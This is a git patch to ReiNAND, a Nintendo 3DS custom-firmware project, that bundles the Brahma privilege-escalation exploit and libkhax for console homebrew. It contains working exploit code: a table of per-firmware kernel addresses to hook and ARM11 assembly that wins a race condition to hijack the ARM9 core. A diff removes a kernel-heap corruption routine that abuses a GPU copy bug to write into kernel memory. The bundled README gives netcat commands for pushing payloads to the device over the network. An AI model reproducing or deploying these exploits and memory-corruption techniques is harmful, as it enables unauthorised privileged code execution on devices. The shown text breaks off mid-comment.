From a6d8d77ac706cd294a302da0b1b5aabe724dd645 Mon Sep 17 00:00:00 2001 From: Reisyukaku Date: Wed, 13 Jan 2016 17:38:02 -0500 Subject: [PATCH] Updated to support hax 2.5, edited README, supports devkitpro 45, etc --- README.md | 12 +- mset | 2 +- ninjhax/.gitignore | 6 + ninjhax/Makefile | 36 +- ninjhax/README-brahma | 121 ++ ninjhax/README.md | 23 + ninjhax/include/brahma.h | 15 +- ninjhax/include/exploitdata.h | 31 +- ninjhax/include/utils.h | 4 + ninjhax/source/arm11.s | 65 +- ninjhax/source/brahma.c | 252 ++-- ninjhax/source/hid.c | 4 +- ninjhax/source/libkhax/LICENSE | 22 + ninjhax/source/libkhax/demo/Makefile | 177 +++ ninjhax/source/libkhax/demo/ctrklib.sln | 22 + ninjhax/source/libkhax/demo/ctrklib.vcxproj | 82 ++ .../libkhax/demo/ctrklib.vcxproj.filters | 36 + ninjhax/source/libkhax/demo/main.c | 139 ++ ninjhax/source/libkhax/khax.h | 16 + ninjhax/source/libkhax/khaxinit.cpp | 1140 +++++++++++++++++ ninjhax/source/libkhax/khaxinternal.h | 337 +++++ ninjhax/source/main.c | 49 +- ninjhax/source/utils.s | 15 +- ninjhax/tools/client.py | 22 + 24 files changed, 2329 insertions(+), 299 deletions(-) create mode 100644 ninjhax/.gitignore create mode 100644 ninjhax/README-brahma create mode 100644 ninjhax/README.md create mode 100644 ninjhax/source/libkhax/LICENSE create mode 100644 ninjhax/source/libkhax/demo/Makefile create mode 100644 ninjhax/source/libkhax/demo/ctrklib.sln create mode 100644 ninjhax/source/libkhax/demo/ctrklib.vcxproj create mode 100644 ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters create mode 100644 ninjhax/source/libkhax/demo/main.c create mode 100644 ninjhax/source/libkhax/khax.h create mode 100644 ninjhax/source/libkhax/khaxinit.cpp create mode 100644 ninjhax/source/libkhax/khaxinternal.h create mode 100644 ninjhax/tools/client.py diff --git a/README.md b/README.md index 651e10a..d672f95 100644 --- a/README.md +++ b/README.md @@ -15,15 +15,13 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A **Features:** -* Ninjhax and MSET support! +* Ninjhax 2.5 and MSET support! -* Sig checks disabled +* Sig checks disabled! -* screenshots (set for pokemon game offsets currently) [Select Button + X] +* Basic ARM9 thread with screenshot and RAM dump capabilities! -* RAM dump (currently set for FCRAM) [Start Button + X] - -* emunand (with 'Rei' version string) +* Emunand up to latest firmware! (with 'Rei' version string) **Credits:** @@ -32,7 +30,7 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A 3DBREW for saving me plenty of reverse engineering time. - Patois for Brahma code. + Patois/Cakes for Brahma code. Normmatt for sdmmc.c and generally being helpful! diff --git a/mset b/mset index 7f5e51a..89e4a8f 160000 --- a/mset +++ b/mset @@ -1 +1 @@ -Subproject commit 7f5e51a1fc969ce6d7db1dc81ea92426960367ac +Subproject commit 89e4a8f0675ca70a7b0574fdcdd30b0f1d97d43e diff --git a/ninjhax/.gitignore b/ninjhax/.gitignore new file mode 100644 index 0000000..066ddb9 --- /dev/null +++ b/ninjhax/.gitignore @@ -0,0 +1,6 @@ +*.elf +*.3dsx +*.smdh + +build +output \ No newline at end of file diff --git a/ninjhax/Makefile b/ninjhax/Makefile index dc1f852..2e81b9a 100644 --- a/ninjhax/Makefile +++ b/ninjhax/Makefile @@ -9,6 +9,11 @@ endif TOPDIR ?= $(CURDIR) include $(DEVKITARM)/3ds_rules +# This should be set externally +name ?= reiNand.dat +filepath ?= +dir_out ?= $(CURDIR) + #--------------------------------------------------------------------------------- # TARGET is the name of the output # BUILD is the directory where object files & intermediate files will be placed @@ -26,26 +31,27 @@ include $(DEVKITARM)/3ds_rules # - icon.png # - /default_icon.png #--------------------------------------------------------------------------------- -TARGET := ReiNand +TARGET := $(name:.dat=) BUILD := build -SOURCES := source +SOURCES := source source/libkhax +DATA := data INCLUDES := include -APP_TITLE := ReiNAND -APP_DESCRIPTION := N3DS CFW -APP_AUTHOR := Reisyukaku +APP_TITLE ?= $(name:.dat=) +APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution +APP_AUTHOR ?= patois #--------------------------------------------------------------------------------- # options for code generation #--------------------------------------------------------------------------------- ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard -CFLAGS := -g -Wall -O3 -mword-relocations \ +CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \ -fomit-frame-pointer -ffast-math \ $(ARCH) -CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -w +CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"' -CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 -w +CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 ASFLAGS := -g $(ARCH) LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) @@ -66,7 +72,7 @@ LIBDIRS := $(CTRULIB) ifneq ($(BUILD),$(notdir $(CURDIR))) #--------------------------------------------------------------------------------- -export OUTPUT := $(CURDIR)/$(TARGET) +export OUTPUT := $(dir_out)/$(TARGET) export TOPDIR := $(CURDIR) export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ @@ -77,6 +83,7 @@ export DEPSDIR := $(CURDIR)/$(BUILD) CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) #--------------------------------------------------------------------------------- # use CXX for linking C++ projects, CC for standard C @@ -92,7 +99,8 @@ else endif #--------------------------------------------------------------------------------- -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) +export OFILES := $(addsuffix .o,$(BINFILES)) \ + $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ @@ -110,7 +118,7 @@ ifeq ($(strip $(ICON)),) endif endif else - export APP_ICON := $(TOPDIR)/$(ICON) + export APP_ICON := $(ICON) endif .PHONY: $(BUILD) clean all @@ -126,7 +134,8 @@ $(BUILD): #--------------------------------------------------------------------------------- clean: @echo clean ... - @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf + @rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh + #--------------------------------------------------------------------------------- else @@ -141,8 +150,7 @@ ifeq ($(strip $(NO_SMDH)),) all : $(OUTPUT).3dsx $(OUTPUT).smdh endif cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label -$(OUTPUT).3dsx : $(OUTPUT).elf -$(OUTPUT).elf : $(OFILES) +$(OUTPUT).3dsx : $(OFILES) #--------------------------------------------------------------------------------- # you need a rule like this for each extension you use as binary data diff --git a/ninjhax/README-brahma b/ninjhax/README-brahma new file mode 100644 index 0000000..d8f7b2a --- /dev/null +++ b/ninjhax/README-brahma @@ -0,0 +1,121 @@ +Brahma - Privilege elevation exploit for the Nintendo 3DS +========================================================= + + WTF is 'Brahma'? + ---------------- + Brahma is a development tool for the Nintendo 3DS platform that enables + privileged code execution on the ARM9 processor of the Nintendo 3DS platform. + It does so by exploiting two vulnerabilities in order to elevate its + privileges. + + The exploits utilized by Brahma are based on "commercial" exploits that + have been reverse engineered. Brahma has been developed with the goal of + understanding and documenting the nature of the exploits in mind and has + been put further effort into during its development process in order to + achieve reliable exploitation and stability. + + Brahma comes with full source code that is based on libctru and requires + existing user mode code execution privileges (Ninjhax), and can then be + used to further elevate privileges to ARM9 pre-kernel / SVC mode. + + Also, "Brahma, the creator" is a god in hinduism that is often portrayed + with four heads and arms (heh... so funny :\). + + How to build: + ------------- + - Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started) + - Open a shell and run make + + How to use: + ----------- + - Prebuilt binary releases are available at + https://github.com/patois/Brahma/releases + - Run brahma.3dsx (using homebrew launcher) + - By default, the exploit will attempt to gain ARM11 kernel privileges before + finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch") + + "Hotkeys" (press and hold during startup of BRAHMA): + ---------------------------------------------------- + + * LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card + and executes it + + * RIGHT : Performs a reboot / firm launch of the 3DS system + + * NONE : Displays a menu which allows payload files to be received via + a WiFi network connection or loaded from the '/brahma' folder + located in the root folder of the SD card + + In order to send payload files to the 3DS via a network connection, + the Python script '/tools/client.py' can be used. Alternatively, netcat + does the job as well. + + Syntax: + ------- + client.py: 'python client.py <3DS ip> ' + netcat: 'nc <3DS ip> 80 < ' + + Examples: + --------- + client.py: 'python client.py 10.0.0.5 payload.bin' + netcat: 'nc 10.0.0.5 80 < payload.bin' + + Example programs that run in privileged ARM9 mode can be downloaded from + https://github.com/patois/3DSProjects/tree/master/Brahma/ + + A memory dumper (3DSDevTools) for Brahma is available at + https://github.com/patois/3DSDevTools/releases + + There is also a port of Decrypt9 by archshift which can be loaded using + bootstrap or Brahma (use 'make' to build the project, then use one of the + methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be + downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap + + Developers: + ----------- + Brahma and its exploits which enable privileged ARM9 code execution + on the Nintendo 3DS may also be used as a "library" (#include "brahma.h") + + - call brahma_init() - initializes Brahma + - call load_arm9_payload() - loads a payload binary from disk + - call firm_reboot() - executes a payload binary (privileged ARM9 code) + - (please check the source code for more features and options) + + ARM9 payload must consist of valid ARM9 executable code and will be + mapped to physical address 0x23F00000 during run-time. Its code should begin + with a branch instruction at offset 0 and a 'placeholder' for a u32 + variable at offset 4, which will be filled by Brahma with a backup of + the original ARM9 entry point of the FIRM header during runtime. + + Brahma is written in a way that allows developers of payload binaries + to easily return control to the 3DS' firmware by simply returning from + the main() function of the payload. + + This allows reading and altering of memory contents, such as the mapped + Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several + processes running on the ARM11 core), for testing purposes, without requiring + any changes on the file system level. + + Credits: + -------- + - To 3dbrew.org and all its contributors for being such a great resource + - To whomever initially found the vulnerabilities and wrote the publicly + available exploit code + - To everybody who's been working on porting this exploit and its various + "bootstrap" branches to newer firmware versions and improving its stability + (in particular yifanlu, yuriks and shinyquagsire23) + - To everybody involved in creating libctru, Ninjhax and the Homebrew Menu + +Disclaimer: +THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS +OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING +IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY +OF SUCH DAMAGE. + + (c) 2015, patois diff --git a/ninjhax/README.md b/ninjhax/README.md new file mode 100644 index 0000000..5097377 --- /dev/null +++ b/ninjhax/README.md @@ -0,0 +1,23 @@ +CakeBrah +======== + +This is a fork of Brahma, that loads CakeHax payloads in the environment they expect. +This means mostly setting the framebuffer offsets and mode right. + +How to use this in your project +------------------------------- + +Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same. +No injection with dd is needed, as it loads the payload from your .dat file. +The different configuration flags are detailed below. + +### Makefile options + +Name |Default |Description +----------------|------------------------------------|----------- +dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh). +name |Cakes.dat |The name of the .dat file from which the payload will be loaded. +filepath | |Path in the SD card where the .dat file is located. +APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu. +APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu. +APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu. diff --git a/ninjhax/include/brahma.h b/ninjhax/include/brahma.h index dc043fe..37a77bb 100644 --- a/ninjhax/include/brahma.h +++ b/ninjhax/include/brahma.h @@ -2,30 +2,25 @@ #include "exploitdata.h" -s32 load_arm9_payload (char *filename); +u32 brahma_init (void); +u32 brahma_exit (void); +s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize); s32 load_arm9_payload_from_mem (u8* data, u32 dsize); void redirect_codeflow (u32 *dst_addr, u32 *src_addr); -void do_gshax_copy (void *dst, void *src, u32 len); -void priv_write_four (u32 address); -void user_clear_icache (void); -s32 corrupt_svcCreateThread (void); s32 map_arm9_payload (void); s32 map_arm11_payload (void); void exploit_arm9_race_condition (void); -void repair_svcCreateThread (void); s32 get_exploit_data (struct exploit_data *data); s32 firm_reboot (); +#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0) + #define BRAHMA_NETWORK_PORT 80 #define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04] #define ARM_RET 0xE12FFF1E // BX LR #define ARM_NOP 0xE1A00000 // NOP -static u8 *g_ext_arm9_buf; -static u32 g_ext_arm9_size = 0; -static s32 g_ext_arm9_loaded = 0; - extern void *arm11_start; extern void *arm11_end; extern void *arm9_start; diff --git a/ninjhax/include/exploitdata.h b/ninjhax/include/exploitdata.h index ae3698a..ebd4360 100644 --- a/ninjhax/include/exploitdata.h +++ b/ninjhax/include/exploitdata.h @@ -17,18 +17,17 @@ /* any changes to this structure must also be applied to the data structure following the 'arm11_globals_start' label of arm11.s */ -typedef struct arm11_shared_data { +struct arm11_shared_data { u32 va_pdn_regs; u32 va_pxi_regs; u32 va_hook1_ret; }; -typedef struct exploit_data { +struct exploit_data { u32 firm_version; u32 sys_model; // mask - u32 va_patch_createthread; u32 va_patch_hook1; u32 va_patch_hook2; u32 va_hook1_ret; @@ -42,43 +41,37 @@ typedef struct exploit_data { u32 va_pxi_regs; }; -static struct exploit_data g_expdata; -static struct arm11_shared_data g_arm11shared; - // add all vulnerable systems below static const struct exploit_data supported_systems[] = { { 0x022E0000, // FIRM version SYS_MODEL_NEW_3DS, // model - 0xDFF83837, // VA of CreateThread code to corrupt 0xDFFE7A50, // VA of 1st hook for firmlaunch 0xDFFF4994, // VA of 2nd hook for firmlaunch - 0xFFF28A58, // VA of return address from 1st hook + 0xFFF28A58, // VA of return address from 1st hook 0xE0000000, // VA of FCRAM 0xDFFF4000, // VA of lower mapped exception handler base 0xFFFF0000, // VA of upper mapped exception handler base 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) 0xFFFBE000, // VA PDN registers - 0xFFFC0000 // VA PXI registers + 0xFFFC0000 // VA PXI registers }, { 0x022C0600, // FIRM version SYS_MODEL_NEW_3DS, // model - 0xDFF83837, // VA of CreateThread code to corrupt 0xDFFE7A50, // VA of 1st hook for firmlaunch 0xDFFF4994, // VA of 2nd hook for firmlaunch - 0xFFF28A58, // VA of return address from 1st hook + 0xFFF28A58, // VA of return address from 1st hook 0xE0000000, // VA of FCRAM 0xDFFF4000, // VA of lower mapped exception handler base 0xFFFF0000, // VA of upper mapped exception handler base 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) 0xFFFBE000, // VA PDN registers - 0xFFFC0000 // VA PXI registers + 0xFFFC0000 // VA PXI registers }, { 0x02220000, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFF83C9F, 0xEFFE4DD4, 0xEFFF497C, 0xFFF84DDC, @@ -92,7 +85,6 @@ static const struct exploit_data supported_systems[] = { { 0x02230600, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFF83737, 0xEFFE55BC, 0xEFFF4978, 0xFFF765C4, @@ -106,7 +98,6 @@ static const struct exploit_data supported_systems[] = { { 0x022E0000, SYS_MODEL_OLD_3DS, - 0xDFF8383F, 0xDFFE59D0, 0xDFFF4974, 0xFFF279D8, @@ -120,7 +111,6 @@ static const struct exploit_data supported_systems[] = { { 0x022C0600, SYS_MODEL_OLD_3DS, - 0xDFF8376F, 0xDFFE4F28, 0xDFFF4974, 0xFFF66F30, @@ -134,21 +124,19 @@ static const struct exploit_data supported_systems[] = { { 0x02280000, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFF83733, 0xEFFE5B30, - 0xEFFF4974, + 0xEFFF4978, 0xFFF76B38, 0xF0000000, 0xEFFF4000, 0xFFFF0000, - 0xFFF54BAC, + 0xFFF64AAC, 0xFFFD0000, 0xFFFD2000 }, { 0x02270400, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFF83737, 0xEFFE5B34, 0xEFFF4978, 0xFFF76B3C, @@ -162,7 +150,6 @@ static const struct exploit_data supported_systems[] = { { 0x02250000, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFF83733, 0xEFFE5AE8, 0xEFFF4978, 0xFFF76AF0, @@ -176,7 +163,6 @@ static const struct exploit_data supported_systems[] = { { 0x02260000, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFF83733, 0xEFFE5AE8, 0xEFFF4978, 0xFFF76AF0, @@ -190,7 +176,6 @@ static const struct exploit_data supported_systems[] = { { 0x02240000, SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFF83733, 0xEFFE55B8, 0xEFFF4978, 0xFFF765C0, diff --git a/ninjhax/include/utils.h b/ninjhax/include/utils.h index add902f..3cff339 100644 --- a/ninjhax/include/utils.h +++ b/ninjhax/include/utils.h @@ -1,4 +1,8 @@ #pragma once void InvalidateEntireInstructionCache (void); +void CleanEntireDataCache (void); +void dsb(void); +void DisableInterrupts (void); +void EnableInterrupts (void); void InvalidateEntireDataCache (void); diff --git a/ninjhax/source/arm11.s b/ninjhax/source/arm11.s index 69d19b6..0805f99 100644 --- a/ninjhax/source/arm11.s +++ b/ninjhax/source/arm11.s @@ -11,17 +11,17 @@ arm11_start: hook1: STMFD SP!, {R0-R12,LR} - MOV R0, #1000 - BL busy_spin + MOV R0, #64 + BL delay MOV R0, #0 - BL pxi_send - + BL pxi_send + BL pxi_sync - + MOV R0, #0x10000 BL pxi_send - + BL pxi_recv BL pxi_recv BL pxi_recv @@ -29,15 +29,9 @@ hook1: MOV R0, #2 BL pdn_send - MOV R0, #16 - BL busy_spin - MOV R0, #0 BL pdn_send - MOV R0, #16 - BL busy_spin - LDMFD SP!, {R0-R12,LR} LDR R0, var_44836 @@ -53,23 +47,27 @@ hook2: LDR R2, pa_hijack_arm9_dst MOV R4, R2 BL copy_mem + MOV r0, #0 + MCR p15, 0, r0, c7, c10, 0 @ Clean data cache + MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer + MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache BX R4 @ exploits a race condition in order @ to take control over the arm9 core hijack_arm9: @ init - LDR R0, pa_arm11_code - MOV R1, #0 + LDR R0, pa_arm11_code + MOV R1, #0 STR R1, [R0] - + @ load physical addresses LDR R10, pa_firm_header LDR R9, pa_arm9_payload LDR R8, pa_io_mem - + @ send pxi cmd 0x44846 - LDR R1, pa_pxi_regs + LDR R1, pa_pxi_regs LDR R2, some_pxi_cmd STR R2, [R1, #8] @@ -77,26 +75,20 @@ wait_arm9_loop: LDRB R0, [R8] ANDS R0, R0, #1 BNE wait_arm9_loop - - @ get arm9 orig entry point phys addr from FIRM header - LDR R0, [R10, #0x0C] - - @ backup orig entry point to FCRAM + offs ARM9 payload + 4 - STR R0, [R9, #0x4] @ overwrite orig entry point with FCRAM addr @ this exploits the race condition bug - STR R9, [R10, #0x0C] + STR R9, [R10, #0x0C] LDR R0, pa_arm11_code wait_arm11_loop: LDR R1, [r0] - CMP R1, #0 + CMP R1, #0 BEQ wait_arm11_loop BX R1 pa_hijack_arm9_dst: .long 0x1FFFFC00 - pa_arm11_code: .long 0x1FFFFFFC + pa_arm11_code: .long 0x1FFFFFF8 pa_pxi_regs: .long 0x10163000 some_pxi_cmd: .long 0x44846 pa_firm_header: .long 0x24000000 @@ -128,29 +120,32 @@ loc_FFFF0AA8: locret_FFFF0AC0: BX LR -busy_spin: - SUBS R0, R0, #2 - NOP - BGT busy_spin - BX LR - pdn_send: LDR R1, va_pdn_regs STRB R0, [R1, #0x230] BX LR - -pxi_send: + +pxi_send: LDR R1, va_pxi_regs loc_1020D0: LDRH R2, [R1,#4] TST R2, #2 BNE loc_1020D0 STR R0, [R1,#8] + + MOV R0, #4 +delay: + MOV R1, #0 + MCR p15, 0, r1, c7, c10, 0 + MCR p15, 0, r1, c7, c10, 4 +loop: + SUBS R0, #1 + BGT loop BX LR pxi_recv: LDR R0, va_pxi_regs -loc_1020FC: +loc_1020FC: LDRH R1, [R0,#4] TST R1, #0x100 BNE loc_1020FC diff --git a/ninjhax/source/brahma.c b/ninjhax/source/brahma.c index d745d36..9677ce4 100644 --- a/ninjhax/source/brahma.c +++ b/ninjhax/source/brahma.c @@ -4,21 +4,29 @@ #include #include #include +#include #include #include #include #include + #include "brahma.h" #include "exploitdata.h" #include "utils.h" +#include "libkhax/khax.h" -GSP_FramebufferInfo topFramebufferInfo, bottomFramebufferInfo; +static u8 *g_ext_arm9_buf; +static u32 g_ext_arm9_size = 0; +static s32 g_ext_arm9_loaded = 0; +static struct exploit_data g_expdata; +static struct arm11_shared_data g_arm11shared; +u32 frameBufferData[3]; /* should be the very first call. allocates heap buffer - for ARM9 payload */ + for ARM9 payload */ u32 brahma_init (void) { g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE); - return (g_ext_arm9_buf != 0); + return (g_ext_arm9_buf != 0); } /* call upon exit */ @@ -26,41 +34,23 @@ u32 brahma_exit (void) { if (g_ext_arm9_buf) { free(g_ext_arm9_buf); } - return 1; + return 1; } /* overwrites two instructions (8 bytes in total) at src_addr - with code that redirects execution to dst_addr */ + with code that redirects execution to dst_addr */ void redirect_codeflow (u32 *dst_addr, u32 *src_addr) { - *(src_addr + 1) = dst_addr; - *src_addr = ARM_JUMPOUT; -} - -/* exploits a bug that causes the GPU to copy memory - that otherwise would be inaccessible to code from - a non-privileged context */ -void do_gshax_copy (void *dst, void *src, u32 len) { - u32 check_mem = linearMemAlign(0x10000, 0x40); - s32 i = 0; - - for (i = 0; i < 16; ++i) { - GSPGPU_FlushDataCache (NULL, src, len); - GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8); - GSPGPU_FlushDataCache (NULL, check_mem, 16); - GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8); - } - HB_FlushInvalidateCache(); - linearFree(check_mem); - return; + *(src_addr + 1) = (u32)dst_addr; + *src_addr = ARM_JUMPOUT; } /* fills exploit_data structure with information that is specific to 3DS model and firmware version - returns: 0 on failure, 1 on success */ + returns: 0 on failure, 1 on success */ s32 get_exploit_data (struct exploit_data *data) { - u32 fversion = 0; + u32 fversion = 0; u8 isN3DS = 0; - s32 i; + u32 i; s32 result = 0; u32 sysmodel = SYS_MODEL_NONE; @@ -68,11 +58,11 @@ s32 get_exploit_data (struct exploit_data *data) { return result; fversion = osGetFirmVersion(); - APT_CheckNew3DS(NULL, &isN3DS); + APT_CheckNew3DS(&isN3DS); sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS; /* copy platform and firmware dependent data */ - for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) { + for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) { if (supported_systems[i].firm_version == fversion && supported_systems[i].sys_model & sysmodel) { memcpy(data, &supported_systems[i], sizeof(struct exploit_data)); @@ -83,70 +73,12 @@ s32 get_exploit_data (struct exploit_data *data) { return result; } -/* exploits a bug in order to cause the ARM11 kernel - to write a certain 32 bit value to 'address' */ -void priv_write_four (u32 address) { - const u32 size_heap_cblk = 8 * sizeof(u32); - u32 addr_lin, addr_lin_o; - u32 dummy; - u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10); - u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10); - - svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3); - addr_lin_o = addr_lin + 0x1000; - svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0); - - // back up heap - do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk); - - // set up a custom heap ctrl structure - cstm_heap[0] = 1; - cstm_heap[1] = address - 8; - cstm_heap[2] = 0; - cstm_heap[3] = 0; - - // corrupt heap ctrl structure by overwriting it with our custom struct - do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32)); - - // Trigger write to 'address' - svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0); - - // restore heap - do_gshax_copy(addr_lin, saved_heap, size_heap_cblk); - - linearFree(saved_heap); - linearFree(cstm_heap); - return; -} - -// trick to clear icache -void user_clear_icache (void) { - s32 i, result = 0; - s32 (*nop_func)(void); - const u32 size_nopslide = 0x1000; - u32 *nop_slide = memalign(0x1000, size_nopslide); - - if (nop_slide) { - HB_ReprotectMemory(nop_slide, 4, 7, &result); - for (i = 0; i < size_nopslide / sizeof(u32); i++) { - nop_slide[i] = ARM_NOP; - } - nop_slide[i-1] = ARM_RET; - nop_func = nop_slide; - HB_FlushInvalidateCache(); - - nop_func(); - free(nop_slide); - } - return; -} - /* get system dependent data and set up ARM11 structures */ s32 setup_exploit_data (void) { s32 result = 0; if (get_exploit_data(&g_expdata)) { - /* copy data required by code running in ARM11 svc mode */ + /* copy data required by code running in ARM11 svc mode */ g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret; g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs; g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs; @@ -155,29 +87,16 @@ s32 setup_exploit_data (void) { return result; } -/* Corrupts ARM11 kernel code (CreateThread()) in order to - open a door for code execution with ARM11 SVC privileges. */ -s32 corrupt_svcCreateThread (void) { - s32 result = 0; - - priv_write_four(g_expdata.va_patch_createthread); - user_clear_icache(); - result = 1; - - return result; -} - /* TODO: network code might be moved somewhere else */ s32 recv_arm9_payload (void) { s32 sockfd; struct sockaddr_in sa; - s32 ret; u32 kDown, old_kDown; s32 clientfd; struct sockaddr_in client_addr; - s32 addrlen = sizeof(client_addr); + u32 addrlen = sizeof(client_addr); s32 sflags = 0; - + if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("[!] Error: socket()\n"); return 0; @@ -188,7 +107,7 @@ s32 recv_arm9_payload (void) { sa.sin_port = htons(BRAHMA_NETWORK_PORT); sa.sin_addr.s_addr = gethostid(); - if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) { + if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) { printf("[!] Error: bind()\n"); close(sockfd); return 0; @@ -250,7 +169,7 @@ s32 recv_arm9_payload (void) { fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK); - printf("\n\n[x] Received %d bytes in total\n", total); + printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total); g_ext_arm9_size = overflow ? 0 : total; g_ext_arm9_loaded = (g_ext_arm9_size != 0); @@ -262,23 +181,37 @@ s32 recv_arm9_payload (void) { /* reads ARM9 payload from a given path. filename: full path of payload + offset: offset of the payload in the file + max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE) returns: 0 on failure, 1 on success */ -s32 load_arm9_payload (char *filename) { +s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) { s32 result = 0; u32 fsize = 0; + u32 psize = 0; + + if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE) + max_psize = ARM9_PAYLOAD_MAX_SIZE; if (!filename) - return result; + return result; FILE *f = fopen(filename, "rb"); if (f) { fseek(f , 0, SEEK_END); fsize = ftell(f); - g_ext_arm9_size = fsize; - rewind(f); - if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) { - u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f); - result = (g_ext_arm9_loaded = (bytes_read == fsize)); + + if (offset < fsize) { + psize = fsize - offset; + if (psize > max_psize) + psize = max_psize; + + g_ext_arm9_size = psize; + + fseek(f, offset, SEEK_SET); + if (psize >= 8) { + u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f); + result = (g_ext_arm9_loaded = (bytes_read == psize)); + } } fclose(f); } @@ -297,7 +230,7 @@ s32 load_arm9_payload_from_mem (u8* data, u32 dsize) { memcpy(g_ext_arm9_buf, data, dsize); result = g_ext_arm9_loaded = 1; } - + return result; } @@ -309,7 +242,7 @@ s32 load_arm9_payload_from_mem (u8* data, u32 dsize) { code. Thus, the format of ARM9 payload written for Brahma is the following: - a branch instruction at offset 0 and - - a placeholder (u32) at offset 4 (=ARM9 entrypoint) */ + - a placeholder (u32) at offset 4 